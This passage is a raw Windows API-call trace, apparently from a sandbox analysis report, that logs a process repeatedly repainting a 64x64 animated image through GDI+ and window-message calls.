GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0117.769] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0117.770] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0117.770] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4601018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0117.770] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.770] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4601018a) returned 0x0 [0117.770] SelectObject (hdc=0x4601018a, h=0x185000f) returned 0x1a05067e [0117.770] DeleteDC (hdc=0x4601018a) returned 1 [0117.770] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.770] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0117.770] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0117.770] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0117.770] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.770] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.770] WaitMessage () returned 1 [0117.987] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.987] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.987] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.987] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.988] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.988] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0117.988] GetCurrentThreadId () returned 0xec0 [0117.988] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0117.988] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.988] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.988] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.988] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.988] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.989] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0117.989] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0117.989] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4701018a [0117.989] SelectObject (hdc=0x4701018a, h=0x1a05067e) returned 0x185000f [0117.989] GdipCreateFromHDC (hdc=0x4701018a, graphics=0x15daf0) returned 0x0 [0117.989] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0117.990] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0117.990] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0117.990] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0117.990] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0117.990] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1b021930 [0117.990] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1b021930) returned 0x0 [0117.991] LocalFree (hMem=0x1b021930) returned 0x0 [0117.991] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.991] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0117.991] GdipCreateRegion (region=0x15dc20) returned 0x0 [0117.991] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0117.991] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0117.991] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0117.991] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.991] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.992] GetSystemMetrics (nIndex=42) returned 0 [0117.992] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0117.992] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0117.992] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0117.992] CoTaskMemFree (pv=0x4fff10) [0117.992] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0117.992] GdipCreateRegion (region=0x15d710) returned 0x0 [0117.992] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0117.993] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0117.993] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0117.993] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0117.993] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1b021930 [0117.993] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1b021930) returned 0x0 [0117.994] LocalFree (hMem=0x1b021930) returned 0x0 [0117.994] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0117.994] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1b021930 [0117.994] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1b021930) returned 0x0 [0117.995] LocalFree (hMem=0x1b021930) returned 0x0 [0117.995] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.995] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0117.995] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0117.995] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0117.995] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0117.995] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.995] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0117.995] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0117.996] GetCurrentObject (hdc=0x4701018a, type=0x1) returned 0x1b00017 [0117.996] GetCurrentObject (hdc=0x4701018a, type=0x2) returned 0x1900010 [0117.996] GetCurrentObject (hdc=0x4701018a, type=0x7) returned 0x1a05067e [0117.996] GetCurrentObject (hdc=0x4701018a, type=0x6) returned 0x18a002e [0117.996] SaveDC (hdc=0x4701018a) returned 1 [0117.996] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x540407c3 [0117.996] GetClipRgn (hdc=0x4701018a, hrgn=0x540407c3) returned 0 [0117.996] SelectClipRgn (hdc=0x4701018a, hrgn=0x24040b8a) returned 2 [0117.996] DeleteObject (ho=0x540407c3) returned 1 [0117.996] DeleteObject (ho=0x24040b8a) returned 1 [0117.997] OffsetViewportOrgEx (in: hdc=0x4701018a, x=0, y=0, lppt=0x2719578 | out: lppt=0x2719578) returned 1 [0117.997] GetNearestColor (hdc=0x4701018a, color=0xffffff) returned 0xffffff [0117.997] CreateSolidBrush (color=0xffffff) returned 0x2c100190 [0117.997] FillRect (hDC=0x4701018a, lprc=0x15d7c0, hbr=0x2c100190) returned 1 [0117.997] DeleteObject (ho=0x2c100190) returned 1 [0117.997] RestoreDC (hdc=0x4701018a, nSavedDC=-1) returned 1 [0117.997] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.997] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4701018a) returned 0x0 [0117.998] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd8e0dbd) returned 0x0 [0117.998] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.998] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0117.998] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.998] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.998] GetSystemMetrics (nIndex=42) returned 0 [0117.998] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0117.998] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0117.998] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0117.999] CoTaskMemFree (pv=0x4fff10) [0117.999] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0117.999] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0117.999] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0117.999] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0117.999] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4701018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0117.999] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.999] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4701018a) returned 0x0 [0118.000] SelectObject (hdc=0x4701018a, h=0x185000f) returned 0x1a05067e [0118.000] DeleteDC (hdc=0x4701018a) returned 1 [0118.000] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.000] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0118.000] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0118.000] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0118.000] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.000] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.000] WaitMessage () returned 1 [0118.161] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.162] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.162] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.162] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.162] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.162] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0118.162] GetCurrentThreadId () returned 0xec0 [0118.162] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0118.162] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.162] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.163] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.163] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.163] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.163] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0118.163] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0118.163] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4801018a [0118.163] SelectObject (hdc=0x4801018a, h=0x1a05067e) returned 0x185000f [0118.163] GdipCreateFromHDC (hdc=0x4801018a, graphics=0x15daf0) returned 0x0 [0118.164] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0118.164] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0118.164] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0118.164] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0118.164] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0118.164] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1b021930 [0118.164] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1b021930) returned 0x0 [0118.165] LocalFree (hMem=0x1b021930) returned 0x0 [0118.165] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.165] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0118.165] GdipCreateRegion (region=0x15dc20) returned 0x0 [0118.165] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0118.165] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0118.165] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0118.165] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.165] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.166] GetSystemMetrics (nIndex=42) returned 0 [0118.166] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.166] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.166] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.166] CoTaskMemFree (pv=0x4fff10) [0118.166] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0118.166] GdipCreateRegion (region=0x15d710) returned 0x0 [0118.166] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0118.166] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0118.166] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0118.166] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0118.166] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1b021930 [0118.167] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1b021930) returned 0x0 [0118.167] LocalFree (hMem=0x1b021930) returned 0x0 [0118.167] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0118.167] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1b021930 [0118.167] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1b021930) returned 0x0 [0118.168] LocalFree (hMem=0x1b021930) returned 0x0 [0118.168] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.168] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0118.168] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0118.168] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0118.168] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0118.168] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.168] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0118.168] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0118.168] GetCurrentObject (hdc=0x4801018a, type=0x1) returned 0x1b00017 [0118.168] GetCurrentObject (hdc=0x4801018a, type=0x2) returned 0x1900010 [0118.169] GetCurrentObject (hdc=0x4801018a, type=0x7) returned 0x1a05067e [0118.169] GetCurrentObject (hdc=0x4801018a, type=0x6) returned 0x18a002e [0118.169] SaveDC (hdc=0x4801018a) returned 1 [0118.169] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x25040b8a [0118.169] GetClipRgn (hdc=0x4801018a, hrgn=0x25040b8a) returned 0 [0118.169] SelectClipRgn (hdc=0x4801018a, hrgn=0x550407c3) returned 2 [0118.169] DeleteObject (ho=0x25040b8a) returned 1 [0118.169] DeleteObject (ho=0x550407c3) returned 1 [0118.169] OffsetViewportOrgEx (in: hdc=0x4801018a, x=0, y=0, lppt=0x271a6b8 | out: lppt=0x271a6b8) returned 1 [0118.170] GetNearestColor (hdc=0x4801018a, color=0xffffff) returned 0xffffff [0118.170] CreateSolidBrush (color=0xffffff) returned 0x2d100190 [0118.170] FillRect (hDC=0x4801018a, lprc=0x15d7c0, hbr=0x2d100190) returned 1 [0118.170] DeleteObject (ho=0x2d100190) returned 1 [0118.170] RestoreDC (hdc=0x4801018a, nSavedDC=-1) returned 1 [0118.170] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.170] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4801018a) returned 0x0 [0118.170] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd8c0dbd) returned 0x0 [0118.170] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.170] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0118.170] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.171] GetSystemMetrics (nIndex=42) returned 0 [0118.171] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.171] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.171] CoTaskMemFree (pv=0x4fff10) [0118.171] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0118.174] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0118.174] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0118.175] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0118.175] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0118.175] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4801018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0118.175] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.175] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4801018a) returned 0x0 [0118.175] SelectObject (hdc=0x4801018a, h=0x185000f) returned 0x1a05067e [0118.176] DeleteDC (hdc=0x4801018a) returned 1 [0118.176] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.176] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0118.176] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0118.176] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0118.176] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.176] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.176] WaitMessage () returned 1 [0118.363] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.363] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.363] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.363] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.363] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.364] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0118.364] GetCurrentThreadId () returned 0xec0 [0118.364] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0118.364] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0118.364] IsWindowUnicode (hWnd=0x2031e) returned 1 [0118.364] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0118.364] TranslateMessage (lpMsg=0x15e910) returned 0 [0118.364] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0118.364] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0118.364] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0118.365] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4901018a [0118.365] SelectObject (hdc=0x4901018a, h=0x1a05067e) returned 0x185000f [0118.365] GdipCreateFromHDC (hdc=0x4901018a, graphics=0x15daf0) returned 0x0 [0118.365] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0118.365] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0118.365] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0118.365] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0118.365] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0118.365] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe470 [0118.365] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbe470) returned 0x0 [0118.366] LocalFree (hMem=0x1afbe470) returned 0x0 [0118.366] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.366] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0118.366] GdipCreateRegion (region=0x15dc20) returned 0x0 [0118.366] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0118.366] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0118.366] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0118.366] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.366] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.366] GetSystemMetrics (nIndex=42) returned 0 [0118.366] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.367] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.367] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.367] CoTaskMemFree (pv=0x4fff10) [0118.367] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0118.367] GdipCreateRegion (region=0x15d710) returned 0x0 [0118.367] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0118.367] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0118.367] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0118.367] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0118.367] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe470 [0118.367] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbe470) returned 0x0 [0118.368] LocalFree (hMem=0x1afbe470) returned 0x0 [0118.368] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0118.368] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe470 [0118.368] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbe470) returned 0x0 [0118.368] LocalFree (hMem=0x1afbe470) returned 0x0 [0118.368] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.368] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0118.369] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0118.369] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0118.369] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0118.369] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.369] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0118.369] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0118.369] GetCurrentObject (hdc=0x4901018a, type=0x1) returned 0x1b00017 [0118.369] GetCurrentObject (hdc=0x4901018a, type=0x2) returned 0x1900010 [0118.369] GetCurrentObject (hdc=0x4901018a, type=0x7) returned 0x1a05067e [0118.369] GetCurrentObject (hdc=0x4901018a, type=0x6) returned 0x18a002e [0118.369] SaveDC (hdc=0x4901018a) returned 1 [0118.369] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x560407c3 [0118.369] GetClipRgn (hdc=0x4901018a, hrgn=0x560407c3) returned 0 [0118.369] SelectClipRgn (hdc=0x4901018a, hrgn=0x26040b8a) returned 2 [0118.369] DeleteObject (ho=0x560407c3) returned 1 [0118.369] DeleteObject (ho=0x26040b8a) returned 1 [0118.369] OffsetViewportOrgEx (in: hdc=0x4901018a, x=0, y=0, lppt=0x271c630 | out: lppt=0x271c630) returned 1 [0118.370] GetNearestColor (hdc=0x4901018a, color=0xffffff) returned 0xffffff [0118.370] CreateSolidBrush (color=0xffffff) returned 0x2e100190 [0118.370] FillRect (hDC=0x4901018a, lprc=0x15d7c0, hbr=0x2e100190) returned 1 [0118.370] DeleteObject (ho=0x2e100190) returned 1 [0118.370] RestoreDC (hdc=0x4901018a, nSavedDC=-1) returned 1 [0118.370] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.370] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4901018a) returned 0x0 [0118.370] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd8a0dbd) returned 0x0 [0118.370] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.370] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0118.370] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0118.370] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0118.370] GetSystemMetrics (nIndex=42) returned 0 [0118.370] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0118.370] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0118.370] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0118.370] CoTaskMemFree (pv=0x4fff10) [0118.371] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0118.371] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0118.371] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0118.371] GdipGetDC (graphics=0x1de4fd10, 